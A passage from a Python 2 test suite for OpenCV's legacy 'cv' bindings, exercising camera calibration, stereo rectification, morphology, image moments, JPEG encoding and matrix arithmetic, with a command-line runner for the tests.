scribble = cv.CreateImage(cv.GetSize(a), 8, 3)\r\n        cv.CvtColor(a, scribble, cv.CV_GRAY2BGR)\r\n        if 0:\r\n            eig_image = cv.CreateImage(cv.GetSize(a), cv.IPL_DEPTH_32F, 1)\r\n            temp_image = cv.CreateImage(cv.GetSize(a), cv.IPL_DEPTH_32F, 1)\r\n            pts = cv.GoodFeaturesToTrack(a, eig_image, temp_image, 100, 0.04, 2, use_harris=1)\r\n            for p in pts:\r\n                cv.Circle( scribble, p, 1, cv.RGB(255,0,0), -1 )\r\n            self.snap(scribble)\r\n        canny = cv.CreateImage(cv.GetSize(a), 8, 1)\r\n        cv.SubRS(a, 255, canny)\r\n        self.snap(canny)\r\n        li = cv.HoughLines2(canny,\r\n                                                cv.CreateMemStorage(),\r\n                                                cv.CV_HOUGH_STANDARD,\r\n                                                1,\r\n                                                math.pi/180,\r\n                                                60,\r\n                                                0,\r\n                                                0)\r\n        for (rho,theta) in li:\r\n            print rho,theta\r\n            c = math.cos(theta)\r\n            s = math.sin(theta)\r\n            x0 = c*rho\r\n            y0 = s*rho\r\n            cv.Line(scribble,\r\n                            (x0 + 1000*(-s), y0 + 1000*c),\r\n                            (x0 + -1000*(-s), y0 - 1000*c),\r\n                            (0,255,0))\r\n        self.snap(scribble)\r\n\r\n    def xxx_test_calibration(self):\r\n\r\n        def get_corners(mono, refine = False):\r\n            (ok, corners) = cv.FindChessboardCorners(mono, (num_x_ints, num_y_ints), cv.CV_CALIB_CB_ADAPTIVE_THRESH | cv.CV_CALIB_CB_NORMALIZE_IMAGE)\r\n            if refine and ok:\r\n                corners = cv.FindCornerSubPix(mono, corners, (5,5), (-1,-1), ( cv.CV_TERMCRIT_EPS+cv.CV_TERMCRIT_ITER, 30, 0.1 ))\r\n            return (ok, corners)\r\n\r\n        def mk_object_points(nimages, squaresize = 1):\r\n            opts = cv.CreateMat(nimages * num_pts, 3, cv.CV_32FC1)\r\n            for i in range(nimages):\r\n                for j in range(num_pts):\r\n                    opts[i * num_pts + j, 0] = (j / num_x_ints) * squaresize\r\n                    opts[i * num_pts + j, 1] = (j % num_x_ints) * squaresize\r\n                    opts[i * num_pts + j, 2] = 0\r\n            return opts\r\n\r\n        def mk_image_points(goodcorners):\r\n            ipts = cv.CreateMat(len(goodcorners) * num_pts, 2, cv.CV_32FC1)\r\n            for (i, co) in enumerate(goodcorners):\r\n                for j in range(num_pts):\r\n                    ipts[i * num_pts + j, 0] = co[j][0]\r\n                    ipts[i * num_pts + j, 1] = co[j][1]\r\n            return ipts\r\n\r\n        def mk_point_counts(nimages):\r\n            npts = cv.CreateMat(nimages, 1, cv.CV_32SC1)\r\n            for i in range(nimages):\r\n                npts[i, 0] = num_pts\r\n            return npts\r\n\r\n        def cvmat_iterator(cvmat):\r\n            for i in range(cvmat.rows):\r\n                for j in range(cvmat.cols):\r\n                    yield cvmat[i,j]\r\n\r\n        def image_from_archive(tar, name):\r\n            member = tar.getmember(name)\r\n            filedata = tar.extractfile(member).read()\r\n            imagefiledata = cv.CreateMat(1, len(filedata), cv.CV_8UC1)\r\n            cv.SetData(imagefiledata, filedata, len(filedata))\r\n            return cv.DecodeImageM(imagefiledata)\r\n\r\n        filename = self.get_data(\"camera_calibration.tar.gz\", OpenCVTests.dataUrl)\r\n        tf = tarfile.open(filename)\r\n\r\n        num_x_ints = 8\r\n        num_y_ints = 6\r\n        num_pts = num_x_ints * num_y_ints\r\n\r\n        leftimages = [image_from_archive(tf, \"wide/left%04d.pgm\" % i) for i in range(3, 15)]\r\n        size = cv.GetSize(leftimages[0])\r\n\r\n        # Monocular test\r\n\r\n        if True:\r\n            corners = [get_corners(i) for i in leftimages]\r\n            goodcorners = [co for (im, (ok, co)) in zip(leftimages, corners) if ok]\r\n\r\n            ipts = mk_image_points(goodcorners)\r\n            opts = mk_object_points(len(goodcorners), .1)\r\n            npts = mk_point_counts(len(goodcorners))\r\n\r\n            intrinsics = cv.CreateMat(3, 3, cv.CV_64FC1)\r\n            distortion = cv.CreateMat(4, 1, cv.CV_64FC1)\r\n            cv.SetZero(intrinsics)\r\n            cv.SetZero(distortion)\r\n            # focal lengths have 1/1 ratio\r\n            intrinsics[0,0] = 1.0\r\n            intrinsics[1,1] = 1.0\r\n            cv.CalibrateCamera2(opts, ipts, npts,\r\n                       cv.GetSize(leftimages[0]),\r\n                       intrinsics,\r\n                       distortion,\r\n                       cv.CreateMat(len(goodcorners), 3, cv.CV_32FC1),\r\n                       cv.CreateMat(len(goodcorners), 3, cv.CV_32FC1),\r\n                       flags = 0) # cv.CV_CALIB_ZERO_TANGENT_DIST)\r\n            # print \"D =\", list(cvmat_iterator(distortion))\r\n            # print \"K =\", list(cvmat_iterator(intrinsics))\r\n\r\n            newK = cv.CreateMat(3, 3, cv.CV_64FC1)\r\n            cv.GetOptimalNewCameraMatrix(intrinsics, distortion, size, 1.0, newK)\r\n            # print \"newK =\", list(cvmat_iterator(newK))\r\n\r\n            mapx = cv.CreateImage((640, 480), cv.IPL_DEPTH_32F, 1)\r\n            mapy = cv.CreateImage((640, 480), cv.IPL_DEPTH_32F, 1)\r\n            for K in [ intrinsics, newK ]:\r\n                cv.InitUndistortMap(K, distortion, mapx, mapy)\r\n                for img in leftimages[:1]:\r\n                    r = cv.CloneMat(img)\r\n                    cv.Remap(img, r, mapx, mapy)\r\n                    # cv.ShowImage(\"snap\", r)\r\n                    # cv.WaitKey()\r\n\r\n        rightimages = [image_from_archive(tf, \"wide/right%04d.pgm\" % i) for i in range(3, 15)]\r\n\r\n        # Stereo test\r\n\r\n        if True:\r\n            lcorners = [get_corners(i) for i in leftimages]\r\n            rcorners = [get_corners(i) for i in rightimages]\r\n            good = [(lco, rco) for ((lok, lco), (rok, rco)) in zip(lcorners, rcorners) if (lok and rok)]\r\n\r\n            lipts = mk_image_points([l for (l, r) in good])\r\n            ripts = mk_image_points([r for (l, r) in good])\r\n            opts = mk_object_points(len(good), .108)\r\n            npts = mk_point_counts(len(good))\r\n\r\n            flags = cv.CV_CALIB_FIX_ASPECT_RATIO | cv.CV_CALIB_FIX_INTRINSIC\r\n            flags = cv.CV_CALIB_SAME_FOCAL_LENGTH + cv.CV_CALIB_FIX_PRINCIPAL_POINT + cv.CV_CALIB_ZERO_TANGENT_DIST\r\n            flags = 0\r\n\r\n            T = cv.CreateMat(3, 1, cv.CV_64FC1)\r\n            R = cv.CreateMat(3, 3, cv.CV_64FC1)\r\n            lintrinsics = cv.CreateMat(3, 3, cv.CV_64FC1)\r\n            ldistortion = cv.CreateMat(4, 1, cv.CV_64FC1)\r\n            rintrinsics = cv.CreateMat(3, 3, cv.CV_64FC1)\r\n            rdistortion = cv.CreateMat(4, 1, cv.CV_64FC1)\r\n            lR = cv.CreateMat(3, 3, cv.CV_64FC1)\r\n            rR = cv.CreateMat(3, 3, cv.CV_64FC1)\r\n            lP = cv.CreateMat(3, 4, cv.CV_64FC1)\r\n            rP = cv.CreateMat(3, 4, cv.CV_64FC1)\r\n            lmapx = cv.CreateImage(size, cv.IPL_DEPTH_32F, 1)\r\n            lmapy = cv.CreateImage(size, cv.IPL_DEPTH_32F, 1)\r\n            rmapx = cv.CreateImage(size, cv.IPL_DEPTH_32F, 1)\r\n            rmapy = cv.CreateImage(size, cv.IPL_DEPTH_32F, 1)\r\n\r\n            cv.SetIdentity(lintrinsics)\r\n            cv.SetIdentity(rintrinsics)\r\n            lintrinsics[0,2] = size[0] * 0.5\r\n            lintrinsics[1,2] = size[1] * 0.5\r\n            rintrinsics[0,2] = size[0] * 0.5\r\n            rintrinsics[1,2] = size[1] * 0.5\r\n            cv.SetZero(ldistortion)\r\n            cv.SetZero(rdistortion)\r\n\r\n            cv.StereoCalibrate(opts, lipts, ripts, npts,\r\n                               lintrinsics, ldistortion,\r\n                               rintrinsics, rdistortion,\r\n                               size,\r\n                               R,                                  # R\r\n                               T,                                  # T\r\n                               cv.CreateMat(3, 3, cv.CV_32FC1),    # E\r\n                               cv.CreateMat(3, 3, cv.CV_32FC1),    # F\r\n                               (cv.CV_TERMCRIT_ITER + cv.CV_TERMCRIT_EPS, 30, 1e-5),\r\n                               flags)\r\n\r\n            for a in [-1, 0, 1]:\r\n                cv.StereoRectify(lintrinsics,\r\n                                 rintrinsics,\r\n                                 ldistortion,\r\n                                 rdistortion,\r\n                                 size,\r\n                                 R,\r\n                                 T,\r\n                                 lR, rR, lP, rP,\r\n                                 alpha = a)\r\n\r\n                cv.InitUndistortRectifyMap(lintrinsics, ldistortion, lR, lP, lmapx, lmapy)\r\n                cv.InitUndistortRectifyMap(rintrinsics, rdistortion, rR, rP, rmapx, rmapy)\r\n\r\n                for l,r in zip(leftimages, rightimages)[:1]:\r\n                    l_ = cv.CloneMat(l)\r\n                    r_ = cv.CloneMat(r)\r\n                    cv.Remap(l, l_, lmapx, lmapy)\r\n                    cv.Remap(r, r_, rmapx, rmapy)\r\n                    # cv.ShowImage(\"snap\", l_)\r\n                    # cv.WaitKey()\r\n\r\n\r\n    def xxx_test_Disparity(self):\r\n        print\r\n        for t in [\"8U\", \"8S\", \"16U\", \"16S\", \"32S\", \"32F\", \"64F\" ]:\r\n          for c in [1,2,3,4]:\r\n            nm = \"%sC%d\" % (t, c)\r\n            print \"int32 CV_%s=%d\" % (nm, eval(\"cv.CV_%s\" % nm))\r\n        return\r\n        integral = cv.CreateImage((641,481), cv.IPL_DEPTH_32S, 1)\r\n        L = cv.LoadImage(\"f0-left.png\", 0)\r\n        R = cv.LoadImage(\"f0-right.png\", 0)\r\n        d = cv.CreateImage(cv.GetSize(L), cv.IPL_DEPTH_8U, 1)\r\n        Rn = cv.CreateImage(cv.GetSize(L), cv.IPL_DEPTH_8U, 1)\r\n        started = time.time()\r\n        for i in range(100):\r\n            cv.AbsDiff(L, R, d)\r\n            cv.Integral(d, integral)\r\n            cv.SetImageROI(R, (1, 1, 639, 479))\r\n            cv.SetImageROI(Rn, (0, 0, 639, 479))\r\n            cv.Copy(R, Rn)\r\n            R = Rn\r\n            cv.ResetImageROI(R)\r\n        print 1e3 * (time.time() - started) / 100, \"ms\"\r\n        # self.snap(d)\r\n\r\n    def local_test_lk(self):\r\n        seq = [cv.LoadImage(\"track/%06d.png\" % i, 0) for i in range(40)]\r\n        crit = (cv.CV_TERMCRIT_ITER, 100, 0.1)\r\n        crit = (cv.CV_TERMCRIT_EPS, 0, 0.001)\r\n\r\n        for i in range(1,40):\r\n            r = cv.CalcOpticalFlowPyrLK(seq[0], seq[i], None, None, [(32,32)], (7,7), 0, crit, 0)\r\n            pos = r[0][0]\r\n            #print pos, r[2]\r\n\r\n            a = cv.CreateImage((1024,1024), 8, 1)\r\n            b = cv.CreateImage((1024,1024), 8, 1)\r\n            cv.Resize(seq[0], a, cv.CV_INTER_NN)\r\n            cv.Resize(seq[i], b, cv.CV_INTER_NN)\r\n            cv.Line(a, (0, 512), (1024, 512), 255)\r\n            cv.Line(a, (512,0), (512,1024), 255)\r\n            x,y = [int(c) for c in pos]\r\n            cv.Line(b, (0, y*16), (1024, y*16), 255)\r\n            cv.Line(b, (x*16,0), (x*16,1024), 255)\r\n            #self.snapL([a,b])\r\n\r\n\r\n\r\n    def local_test_Haar(self):\r\n        import os\r\n        hcfile = os.environ['OPENCV_ROOT'] + '/share/opencv/haarcascades/haarcascade_frontalface_default.xml'\r\n        hc = cv.Load(hcfile)\r\n        img = cv.LoadImage('Stu.jpg', 0)\r\n        faces = cv.HaarDetectObjects(img, hc, cv.CreateMemStorage())\r\n        self.assert_(len(faces) > 0)\r\n        for (x,y,w,h),n in faces:\r\n            cv.Rectangle(img, (x,y), (x+w,y+h), 255)\r\n        #self.snap(img)\r\n\r\n    def test_create(self):\r\n    #\"\"\" CvCreateImage, CvCreateMat and the header-only form \"\"\"\r\n        for (w,h) in [ (320,400), (640,480), (1024, 768) ]:\r\n            data = \"z\" * (w * h)\r\n\r\n            im = cv.CreateImage((w,h), 8, 1)\r\n            cv.SetData(im, data, w)\r\n            im2 = cv.CreateImageHeader((w,h), 8, 1)\r\n            cv.SetData(im2, data, w)\r\n            self.assertSame(im, im2)\r\n\r\n            m = cv.CreateMat(h, w, cv.CV_8UC1)\r\n            cv.SetData(m, data, w)\r\n            m2 = cv.CreateMatHeader(h, w, cv.CV_8UC1)\r\n            cv.SetData(m2, data, w)\r\n            self.assertSame(m, m2)\r\n\r\n            self.assertSame(im, m)\r\n            self.assertSame(im2, m2)\r\n\r\n\r\n    def test_casts(self):\r\n        im = cv.GetImage(self.get_sample(\"samples/c/lena.jpg\", 0))\r\n        data = im.tostring()\r\n        cv.SetData(im, data, cv.GetSize(im)[0])\r\n\r\n        start_count = sys.getrefcount(data)\r\n\r\n        # Conversions should produce same data\r\n        self.assertSame(im, cv.GetImage(im))\r\n        m = cv.GetMat(im)\r\n        self.assertSame(im, m)\r\n        self.assertSame(m, cv.GetImage(m))\r\n        im2 = cv.GetImage(m)\r\n        self.assertSame(im, im2)\r\n\r\n        self.assertEqual(sys.getrefcount(data), start_count + 2)\r\n        del im2\r\n        self.assertEqual(sys.getrefcount(data), start_count + 1)\r\n        del m\r\n        self.assertEqual(sys.getrefcount(data), start_count)\r\n        del im\r\n        self.assertEqual(sys.getrefcount(data), start_count - 1)\r\n\r\n    def test_morphological(self):\r\n        im = cv.CreateImage((128, 128), cv.IPL_DEPTH_8U, 1)\r\n        cv.Resize(cv.GetImage(self.get_sample(\"samples/c/lena.jpg\", 0)), im)\r\n        dst = cv.CloneImage(im)\r\n\r\n        # Check defaults by asserting that all these operations produce the same image\r\n        funs = [\r\n            lambda: cv.Dilate(im, dst),\r\n            lambda: cv.Dilate(im, dst, None),\r\n            lambda: cv.Dilate(im, dst, iterations = 1),\r\n            lambda: cv.Dilate(im, dst, element = None),\r\n            lambda: cv.Dilate(im, dst, iterations = 1, element = None),\r\n            lambda: cv.Dilate(im, dst, element = None, iterations = 1),\r\n        ]\r\n        src_h = self.hashimg(im)\r\n        hashes = set()\r\n        for f in funs:\r\n            f()\r\n            hashes.add(self.hashimg(dst))\r\n            self.assertNotEqual(src_h, self.hashimg(dst))\r\n        # Source image should be untouched\r\n        self.assertEqual(self.hashimg(im), src_h)\r\n        # All results should be same\r\n        self.assertEqual(len(hashes), 1)\r\n\r\n        # self.snap(dst)\r\n        shapes = [eval(\"cv.CV_SHAPE_%s\" % s) for s in ['RECT', 'CROSS', 'ELLIPSE']]\r\n        elements = [cv.CreateStructuringElementEx(sz, sz, sz / 2 + 1, sz / 2 + 1, shape) for sz in [3, 4, 7, 20] for shape in shapes]\r\n        elements += [cv.CreateStructuringElementEx(7, 7, 3, 3, cv.CV_SHAPE_CUSTOM, [1] * 49)]\r\n        for e in elements:\r\n            for iter in [1, 2]:\r\n                cv.Dilate(im, dst, e, iter)\r\n                cv.Erode(im, dst, e, iter)\r\n                temp = cv.CloneImage(im)\r\n                for op in [\"OPEN\", \"CLOSE\", \"GRADIENT\", \"TOPHAT\", \"BLACKHAT\"]:\r\n                        cv.MorphologyEx(im, dst, temp, e, eval(\"cv.CV_MOP_%s\" % op), iter)\r\n\r\n    def test_getmat_nd(self):\r\n        # 1D CvMatND should yield (N,1) CvMat\r\n        matnd = cv.CreateMatND([13], cv.CV_8UC1)\r\n        self.assertEqual(cv.GetDims(cv.GetMat(matnd, allowND = True)), (13, 1))\r\n\r\n        # 2D CvMatND should yield 2D CvMat\r\n        matnd = cv.CreateMatND([11, 12], cv.CV_8UC1)\r\n        self.assertEqual(cv.GetDims(cv.GetMat(matnd, allowND = True)), (11, 12))\r\n\r\n        if 0: # XXX - ticket #149\r\n            # 3D CvMatND should yield (N,1) CvMat\r\n            matnd = cv.CreateMatND([7, 8, 9], cv.CV_8UC1)\r\n            self.assertEqual(cv.GetDims(cv.GetMat(matnd, allowND = True)), (7 * 8 * 9, 1))\r\n\r\n    def test_clipline(self):\r\n        self.assert_(cv.ClipLine((100,100), (-100,0), (500,0)) == ((0,0), (99,0)))\r\n        self.assert_(cv.ClipLine((100,100), (-100,0), (-200,0)) == None)\r\n\r\n    def test_smoke_image_processing(self):\r\n        src = self.get_sample(\"samples/c/lena.jpg\", cv.CV_LOAD_IMAGE_GRAYSCALE)\r\n        #dst = cv.CloneImage(src)\r\n        for aperture_size in [1, 3, 5, 7]:\r\n          dst_16s = cv.CreateImage(cv.GetSize(src), cv.IPL_DEPTH_16S, 1)\r\n          dst_32f = cv.CreateImage(cv.GetSize(src), cv.IPL_DEPTH_32F, 1)\r\n\r\n          cv.Sobel(src, dst_16s, 1, 1, aperture_size)\r\n          cv.Laplace(src, dst_16s, aperture_size)\r\n          cv.PreCornerDetect(src, dst_32f)\r\n          eigendst = cv.CreateImage((6*cv.GetSize(src)[0], cv.GetSize(src)[1]), cv.IPL_DEPTH_32F, 1)\r\n          cv.CornerEigenValsAndVecs(src, eigendst, 8, aperture_size)\r\n          cv.CornerMinEigenVal(src, dst_32f, 8, aperture_size)\r\n          cv.CornerHarris(src, dst_32f, 8, aperture_size)\r\n          cv.CornerHarris(src, dst_32f, 8, aperture_size, 0.1)\r\n\r\n        #self.snap(dst)\r\n\r\n    def test_fitline(self):\r\n        cv.FitLine([ (1,1), (10,10) ], cv.CV_DIST_L2, 0, 0.01, 0.01)\r\n        cv.FitLine([ (1,1,1), (10,10,10) ], cv.CV_DIST_L2, 0, 0.01, 0.01)\r\n        a = self.get_sample(\"samples/c/lena.jpg\", 0)\r\n        eig_image = cv.CreateImage(cv.GetSize(a), cv.IPL_DEPTH_32F, 1)\r\n        temp_image = cv.CreateImage(cv.GetSize(a), cv.IPL_DEPTH_32F, 1)\r\n        pts = cv.GoodFeaturesToTrack(a, eig_image, temp_image, 100, 0.04, 2, useHarris=1)\r\n        hull = cv.ConvexHull2(pts, cv.CreateMemStorage(), return_points = 1)\r\n        cv.FitLine(hull, cv.CV_DIST_L2, 0, 0.01, 0.01)\r\n\r\n    def test_moments(self):\r\n        im = self.get_sample(\"samples/c/lena.jpg\", 0)\r\n        mo = cv.Moments(im)\r\n        for fld in [\"m00\", \"m10\", \"m01\", \"m20\", \"m11\", \"m02\", \"m30\", \"m21\", \"m12\", \"m03\", \"mu20\", \"mu11\", \"mu02\", \"mu30\", \"mu21\", \"mu12\", \"mu03\", \"inv_sqrt_m00\"]:\r\n            self.assert_(isinstance(getattr(mo, fld), float))\r\n            x = getattr(mo, fld)\r\n            self.assert_(isinstance(x, float))\r\n\r\n        orders = []\r\n        for x_order in range(4):\r\n          for y_order in range(4 - x_order):\r\n            orders.append((x_order, y_order))\r\n\r\n        # Just a smoke test for these three functions\r\n        [ cv.GetSpatialMoment(mo, xo, yo) for (xo,yo) in orders ]\r\n        [ cv.GetCentralMoment(mo, xo, yo) for (xo,yo) in orders ]\r\n        [ cv.GetNormalizedCentralMoment(mo, xo, yo) for (xo,yo) in orders ]\r\n\r\n        # Hu Moments we can do slightly better.  Check that the first\r\n        # six are invariant wrt image reflection, and that the 7th\r\n        # is negated.\r\n\r\n        hu0 = cv.GetHuMoments(cv.Moments(im))\r\n        cv.Flip(im, im, 1)\r\n        hu1 = cv.GetHuMoments(cv.Moments(im))\r\n        self.assert_(len(hu0) == 7)\r\n        self.assert_(len(hu1) == 7)\r\n        for i in range(5):\r\n          self.assert_(abs(hu0[i] - hu1[i]) < 1e-6)\r\n        self.assert_(abs(hu0[i] + hu1[i]) < 1e-6)\r\n\r\n    def test_encode(self):\r\n        im = self.get_sample(\"samples/c/lena.jpg\", 1)\r\n        jpeg = cv.EncodeImage(\".jpeg\", im)\r\n\r\n        # Smoke jpeg compression at various qualities\r\n        sizes = dict([(qual, cv.EncodeImage(\".jpeg\", im, [cv.CV_IMWRITE_JPEG_QUALITY, qual]).cols) for qual in range(5, 100, 5)])\r\n\r\n        # Check that the default QUALITY is 95\r\n        self.assertEqual(cv.EncodeImage(\".jpeg\", im).cols, sizes[95])\r\n\r\n        # Check that the 'round-trip' gives an image of the same size\r\n        round_trip = cv.DecodeImage(cv.EncodeImage(\".jpeg\", im, [cv.CV_IMWRITE_JPEG_QUALITY, 10]))\r\n        self.assert_(cv.GetSize(round_trip) == cv.GetSize(im))\r\n\r\n    def test_reduce(self):\r\n        srcmat = cv.CreateMat(2, 3, cv.CV_32FC1)\r\n        # 0 1 2\r\n        # 3 4 5\r\n        srcmat[0,0] = 0\r\n        srcmat[0,1] = 1\r\n        srcmat[0,2] = 2\r\n        srcmat[1,0] = 3\r\n        srcmat[1,1] = 4\r\n        srcmat[1,2] = 5\r\n        def doreduce(siz, rfunc):\r\n            dst = cv.CreateMat(siz[0], siz[1], cv.CV_32FC1)\r\n            rfunc(dst)\r\n            if siz[0] != 1:\r\n                return [dst[i,0] for i in range(siz[0])]\r\n            else:\r\n                return [dst[0,i] for i in range(siz[1])]\r\n\r\n        # exercise dim\r\n        self.assertEqual(doreduce((1,3), lambda dst: cv.Reduce(srcmat, dst)), [3, 5, 7])\r\n        self.assertEqual(doreduce((1,3), lambda dst: cv.Reduce(srcmat, dst, -1)), [3, 5, 7])\r\n        self.assertEqual(doreduce((1,3), lambda dst: cv.Reduce(srcmat, dst, 0)), [3, 5, 7])\r\n        self.assertEqual(doreduce((2,1), lambda dst: cv.Reduce(srcmat, dst, 1)), [3, 12])\r\n\r\n        # exercise op\r\n        self.assertEqual(doreduce((1,3), lambda dst: cv.Reduce(srcmat, dst, op = cv.CV_REDUCE_SUM)), [3, 5, 7])\r\n        self.assertEqual(doreduce((1,3), lambda dst: cv.Reduce(srcmat, dst, op = cv.CV_REDUCE_AVG)), [1.5, 2.5, 3.5])\r\n        self.assertEqual(doreduce((1,3), lambda dst: cv.Reduce(srcmat, dst, op = cv.CV_REDUCE_MAX)), [3, 4, 5])\r\n        self.assertEqual(doreduce((1,3), lambda dst: cv.Reduce(srcmat, dst, op = cv.CV_REDUCE_MIN)), [0, 1, 2])\r\n\r\n        # exercise both dim and op\r\n        self.assertEqual(doreduce((1,3), lambda dst: cv.Reduce(srcmat, dst, 0, cv.CV_REDUCE_MAX)), [3, 4, 5])\r\n        self.assertEqual(doreduce((2,1), lambda dst: cv.Reduce(srcmat, dst, 1, cv.CV_REDUCE_MAX)), [2, 5])\r\n\r\n    def test_operations(self):\r\n        class Im:\r\n\r\n            def __init__(self, data = None):\r\n                self.m = cv.CreateMat(1, 32, cv.CV_32FC1)\r\n                if data:\r\n                    cv.SetData(self.m, array.array('f', data), 128)\r\n\r\n            def __add__(self, other):\r\n                r = Im()\r\n                if isinstance(other, Im):\r\n                    cv.Add(self.m, other.m, r.m)\r\n                else:\r\n                    cv.AddS(self.m, (other,), r.m)\r\n                return r\r\n\r\n            def __sub__(self, other):\r\n                r = Im()\r\n                if isinstance(other, Im):\r\n                    cv.Sub(self.m, other.m, r.m)\r\n                else:\r\n                    cv.SubS(self.m, (other,), r.m)\r\n                return r\r\n\r\n            def __rsub__(self, other):\r\n                r = Im()\r\n                cv.SubRS(self.m, (other,), r.m)\r\n                return r\r\n\r\n            def __mul__(self, other):\r\n                r = Im()\r\n                if isinstance(other, Im):\r\n                    cv.Mul(self.m, other.m, r.m)\r\n                else:\r\n                    cv.ConvertScale(self.m, r.m, other)\r\n                return r\r\n\r\n            def __rmul__(self, other):\r\n                r = Im()\r\n                cv.ConvertScale(self.m, r.m, other)\r\n                return r\r\n\r\n            def __div__(self, other):\r\n                r = Im()\r\n                if isinstance(other, Im):\r\n                    cv.Div(self.m, other.m, r.m)\r\n                else:\r\n                    cv.ConvertScale(self.m, r.m, 1.0 / other)\r\n                return r\r\n\r\n            def __pow__(self, other):\r\n                r = Im()\r\n                cv.Pow(self.m, r.m, other)\r\n                return r\r\n\r\n            def __abs__(self):\r\n                r = Im()\r\n                cv.Abs(self.m, r.m)\r\n                return r\r\n\r\n            def __getitem__(self, i):\r\n                return self.m[0,i]\r\n\r\n        def verify(op):\r\n            r = op(a, b)\r\n            for i in range(32):\r\n                expected = op(a[i], b[i])\r\n                self.assertAlmostEqual(expected, r[i], 4)\r\n\r\n        a = Im([random.randrange(1, 256) for i in range(32)])\r\n        b = Im([random.randrange(1, 256) for i in range(32)])\r\n\r\n        # simple operations first\r\n        verify(lambda x, y: x + y)\r\n        verify(lambda x, y: x + 3)\r\n        verify(lambda x, y: x + 0)\r\n        verify(lambda x, y: x + -8)\r\n\r\n        verify(lambda x, y: x - y)\r\n        verify(lambda x, y: x - 1)\r\n        verify(lambda x, y: 1 - x)\r\n\r\n        verify(lambda x, y: abs(x))\r\n\r\n        verify(lambda x, y: x * y)\r\n        verify(lambda x, y: x * 3)\r\n\r\n        verify(lambda x, y: x / y)\r\n        verify(lambda x, y: x / 2)\r\n\r\n        for p in [-2, -1, -0.5, -0.1, 0, 0.1, 0.5, 1, 2 ]:\r\n            verify(lambda x, y: (x ** p) + (y ** p))\r\n\r\n        # Combinations...\r\n        verify(lambda x, y: x - 4 * abs(y))\r\n        verify(lambda x, y: abs(y) / x)\r\n\r\n        # a polynomial\r\n        verify(lambda x, y: 2 * x + 3 * (y ** 0.5))\r\n\r\n    def temp_test(self):\r\n        cv.temp_test()\r\n\r\n    def failing_test_rand_GetStarKeypoints(self):\r\n        # GetStarKeypoints [<cvmat(type=4242400d rows=64 cols=64 step=512 )>, <cv.cvmemstorage object at 0xb7cc40d0>, (45, 0.73705234376883488, 0.64282591451367344, 0.1567738743689836, 3)]\r\n        print cv.CV_MAT_CN(0x4242400d)\r\n        mat = cv.CreateMat( 64, 64, cv.CV_32FC2)\r\n        cv.GetStarKeypoints(mat, cv.CreateMemStorage(), (45, 0.73705234376883488, 0.64282591451367344, 0.1567738743689836, 3))\r\n        print mat\r\n\r\n    def test_rand_PutText(self):\r\n    #\"\"\" Test for bug 2829336 \"\"\"\r\n        mat = cv.CreateMat( 64, 64, cv.CV_8UC1)\r\n        font = cv.InitFont(cv.CV_FONT_HERSHEY_SIMPLEX, 1, 1)\r\n        cv.PutText(mat, chr(127), (20, 20), font, 255)\r\n\r\n    def failing_test_rand_FindNearestPoint2D(self):\r\n        subdiv = cv.CreateSubdivDelaunay2D((0,0,100,100), cv.CreateMemStorage())\r\n        cv.SubdivDelaunay2DInsert( subdiv, (50, 50))\r\n        cv.CalcSubdivVoronoi2D(subdiv)\r\n        print\r\n        for e in subdiv.edges:\r\n            print e,\r\n            print \"  \", cv.Subdiv2DEdgeOrg(e)\r\n            print \"  \", cv.Subdiv2DEdgeOrg(cv.Subdiv2DRotateEdge(e, 1)), cv.Subdiv2DEdgeDst(cv.Subdiv2DRotateEdge(e, 1))\r\n        print \"nearest\", cv.FindNearestPoint2D(subdiv, (1.0, 1.0))\r\n\r\nclass DocumentFragmentTests(OpenCVTests):\r\n    \"\"\" Test the fragments of code that are included in the documentation \"\"\"\r\n    def setUp(self):\r\n        OpenCVTests.setUp(self)\r\n        sys.path.append(\".\")\r\n\r\n    def test_precornerdetect(self):\r\n        from precornerdetect import precornerdetect\r\n        im = self.get_sample(\"samples/cpp/right01.jpg\", 0)\r\n        imf = cv.CreateMat(im.rows, im.cols, cv.CV_32FC1)\r\n        cv.ConvertScale(im, imf)\r\n        (r0,r1) = precornerdetect(imf)\r\n        for r in (r0, r1):\r\n            self.assertEqual(im.cols, r.cols)\r\n            self.assertEqual(im.rows, r.rows)\r\n\r\n    def test_findstereocorrespondence(self):\r\n        from findstereocorrespondence import findstereocorrespondence\r\n        (l,r) = [self.get_sample(\"samples/cpp/tsukuba_%s.png\" % c, cv.CV_LOAD_IMAGE_GRAYSCALE) for c in \"lr\"]\r\n\r\n        (disparity_left, disparity_right) = findstereocorrespondence(l, r)\r\n\r\n        disparity_left_visual = cv.CreateMat(l.rows, l.cols, cv.CV_8U)\r\n        cv.ConvertScale(disparity_left, disparity_left_visual, -16)\r\n        # self.snap(disparity_left_visual)\r\n\r\n    def test_calchist(self):\r\n        from calchist import hs_histogram\r\n        i1 = self.get_sample(\"samples/c/lena.jpg\")\r\n        i2 = self.get_sample(\"samples/cpp/building.jpg\")\r\n        i3 = cv.CloneMat(i1)\r\n        cv.Flip(i3, i3, 1)\r\n        h1 = hs_histogram(i1)\r\n        h2 = hs_histogram(i2)\r\n        h3 = hs_histogram(i3)\r\n        self.assertEqual(self.hashimg(h1), self.hashimg(h3))\r\n        self.assertNotEqual(self.hashimg(h1), self.hashimg(h2))\r\n\r\nif __name__ == '__main__':\r\n    parser = argparse.ArgumentParser(description='run OpenCV python tests')\r\n    parser.add_argument('--repo', help='use sample image files from local git repository (path to folder), '\r\n                                       'if not set, samples will be downloaded from github.com')\r\n    parser.add_argument('--data', help='use data files from local folder (path to folder), '\r\n                                        'if not set, data files will be downloaded from docs.opencv.org')\r\n    args, other = parser.parse_known_args()\r\n    print \"testing\", cv.__version__\r\n    print \"Local repo path:\", args.repo\r\n    print \"Local data path:\", args.data\r\n    OpenCVTests.repoPath = args.repo\r\n    NewOpenCVTests.repoPath = args.repo\r\n    if args.repo is None:\r\n        try:\r\n            OpenCVTests.repoPath = os.environ['OPENCV_TEST_DATA_PATH']\r\n            NewOpenCVTests.repoPath = OpenCVTests.repoPath\r\n        except KeyError:\r\n            print('Missing opencv samples data. Some of tests may fail.')\r\n    try:\r\n        OpenCVTests.dataPath = os.environ['OPENCV_TEST_DATA_PATH']\r\n        NewOpenCVTests.extraTestDataPath = OpenCVTests.dataPath\r\n    except KeyError:\r\n        OpenCVTests.dataPath = args.data\r\n        NewOpenCVTests.extraTestDataPath = args.data\r\n        if args.data is None:\r\n            print('Missing opencv extra repository. Some of tests may fail.')\r\n    random.seed(0)\r\n    unit_argv = [sys.argv[0]] + other;\r\n    unittest.main(argv=unit_argv)\r\n", "meta": {"hexsha": "c73fcc483b7b45c32e5bb6e2c28f64a1de239ae6", "size": 91116, 